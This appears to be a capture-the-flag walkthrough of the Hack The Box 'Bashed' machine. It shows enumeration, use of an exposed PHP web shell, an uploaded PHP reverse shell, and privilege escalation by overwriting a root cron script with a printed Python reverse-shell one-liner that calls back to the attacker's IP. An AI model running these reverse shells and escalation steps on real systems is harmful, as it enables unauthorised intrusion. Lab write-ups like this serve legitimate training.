Bashed
HTB 8. Bashed
nmap -A -T4 -p- 10.10.10.68shows port 80 withApache httpd 2.4.18 (Ubuntu).searchsploit apache 2.4reveals localapache_ctlexploit.Going to website
10.10.10.68and looking at content shows that10.10.10.68/uploads. exists.dirbustertime with medium wordlist which reveals several folders.View source code of pages shows nothing.
dirbusterfounddev/phpbash.php.Go to
10.10.10.68and launchphpbash.phpwhich launches web terminal.whoamiiswww-dataso lets get the user flag.cat /home/arrexel/user.txt.test
sudo -landhistorywhich shows we can becomescriptmanageruser without password.Can't change to
scriptmanagerbecause we are in a wbeshell without a tty.cd /var/www/html/uploads/and upload payload.Lets try
php-reverse-shellfrom pentestmonkey instead of metasploit. Download and extract.Edit the
$ipand$portto our ip and port1234.Start web server
python -m SimpleHTTPServer 80and runwet http://10.10.14.21/rev.phpon the target.Start netcat
nc -nvlp 1234Go to
10.10.10.68/uploads/rev.phpto execute and connect.Still can't access tty so serach for
tty escapeand go to to Spawning a TTY Shell.Just go down the list and try the options. Try
python -c 'import pty; pty.spawn("/bin/bash")'and no we are inbash.sudo su scriptmanagerdoes not work so lets try running a command as the usersudo -u scriptmanager /bin/bash.whoamiisscripmanagerandhistoryis none.ls -la /showsscriptmanagerowns/scripts.cd scriptsandls -lashowstest.pyandtest.txt.The time modified for the
test.txtchanges every minute so a cronjob is running thetest.pyevvery minute as root. Lets change thetest.pyso it performs malicious actions.Search for
python reverse shelland use the Reverse Shell Cheat Sheet.Use
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.21",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);(-iis interactive mode) and download to target.Start listening
nc -nvlp 2345and wait for shell.
Someone exploited with CVE-2017-16995 found after running the linux-exploit-suggester.
Last updated
Was this helpful?